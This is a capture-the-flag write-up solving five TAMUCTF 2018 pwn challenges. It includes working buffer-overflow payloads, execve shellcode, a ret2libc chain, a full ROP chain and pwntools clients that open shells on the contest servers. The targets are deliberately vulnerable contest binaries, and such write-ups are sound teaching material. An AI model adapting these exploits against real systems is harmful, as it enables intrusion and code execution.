The following is a writeup for all pwn challenges found in TAMUCTF 2018:
Pwn 1
This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.
$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321 This is a super secret program Noone is allowed through except for those who know the secret! What is my secret? How did you figure out my secret?! gigem{H0W_H4RD_1S_TH4T?}
Pwn 2
The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.
Running pwn2, we see it echos back some text by calling an echo function:
$ ./pwn2 I just love repeating what other people say! I bet I can repeat anything you tell me! AAAA AAAA
We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:
$ ltrace -i ./pwn2 [0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0 [0x8048628] puts("I just love repeating what other"...I just love repeating what other people say! ) = 45 [0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me! ) = 41 [0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0) = 0 [0x80485de] gets(0xffc22679, 2, 0, 0AAAA ) = 0xffc22679 [0x80485f0] puts("AAAA"AAAA ) = 5 [0xffffffffffffffff] +++ exited (status 0) +++
Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:
Playing with the buffers until we hit EIP:
$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr [42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Then we just insert the address of print_flag [0x804854b], using pwntools for packing:
$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322 I just love repeating what other people say! I bet I can repeat anything you tell me! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK� This function has been deprecated gigem{3ch035_0f_7h3_p4s7}
Pwn 3
pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:
First just running this binary we get:
Welcome to the New Echo application 2.0! Changelog: - Less deprecated flag printing functions! - New Random Number Generator! Your random number 0xffb837fa! Now what should I echo? AAAA AAAA
What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!
We can see the EIP overwrite is 242 bytes in:
$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr [42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.
To do this, I wrote a small client:
#!/usr/bin/env python from pwn import * #r = process('./pwn3') r = remote('pwn.ctf.tamu.edu', 4323) NOP = '\x90' SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' LEAK_STR = 'Now what should I echo? ' def main(): result = r.recvuntil(LEAK_STR) result = result.split('\n')[5].split('0x')[-1].rstrip('!') stack = result.decode('hex')[::-1] payload = SC + NOP * (242 - len(SC)) + stack r.sendline(payload) r.interactive() if __name__ == "__main__": main()
Running we get a shell and cat the flag:
$ python pwn3-client.py [+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done [*] Switching to interactive mode 1�Ph//shh/bin\x89�PS\x89� ̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v�� $ cat flag.txt gigem{n0w_w3_4r3_g377in6_s74r73d}
Pwn 4
In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:
It looks like the binary has NX enabled:
We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:
pwndbg> p system $1 = {<text variable, no debug info>} 0x8048430 <system@plt> pwndbg> b main Breakpoint 1 at 0x8048791 pwndbg> r Breakpoint main pwndbg> search /bin/sh pwn4 0x804a038 u'/bin/sh'
That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:
$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr [42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
Tying that all together, we get:
(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324 I am a reduced online shell Your options are: 1. ls 2. cal 3. pwd 4. whoami 5. exit Input> Unkown Command cat flag.txt gigem{b4ck_70_7h3_l1br4ry}
Pwn 5
This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:
First it would be nice to automate stdin for this challenge with a small PoC client:
#!/usr/bin/env python from pwn import * from struct import pack r = process('./pwn5') #r = remote('pwn.ctf.tamu.edu', 4325) # requires tmux to run context(terminal = ['tmux', 'splitw']) def main(): r.sendline('a') r.sendline('a') r.sendline('a') r.send('y\n') r.send('2\n') gdb.attach(r, 'c') r.sendline('AAAA') r.interactive() if __name__ == "__main__": main()
We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.
If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.
Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:
$ ropper --file ./pwn5 --chain execve
Dumping that into our existing client, we get:
#!/usr/bin/env python from pwn import * from struct import pack #r = process('./pwn5') r = remote('pwn.ctf.tamu.edu', 4325) IMAGE_BASE = 0x08048000 rebase = lambda x : p32(x + IMAGE_BASE) rop = '' rop += rebase(0x00074396) # 0x080bc396: pop eax; ret; rop += '//bi' rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret; rop += rebase(0x000a8060) rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret; rop += rebase(0x00074396) # 0x080bc396: pop eax; ret; rop += 'n/sh' rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret; rop += rebase(0x000a8064) rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret; rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret; rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret; rop += rebase(0x000a8068) rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret; rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret; rop += rebase(0x000a8060) rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret; rop += rebase(0x000a8068) rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret; rop += rebase(0x000a8068) rop += rebase(0x00074396) # 0x080bc396: pop eax; ret; rop += p32(0xfffffff5) rop += rebase(0x0001a407) # 0x08062407: neg eax; ret; rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret; def main(): r.sendline('a') r.sendline('a') r.sendline('a') r.send('y\n') r.send('2\n') r.sendline('A'*32 + rop) r.interactive() if __name__ == "__main__": main()
Then we run it and cat the flag:
$ python pwn5-client.py [+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done [*] Switching to interactive mode $ cat flag.txt gigem{r37urn_0f_7h3_pwn}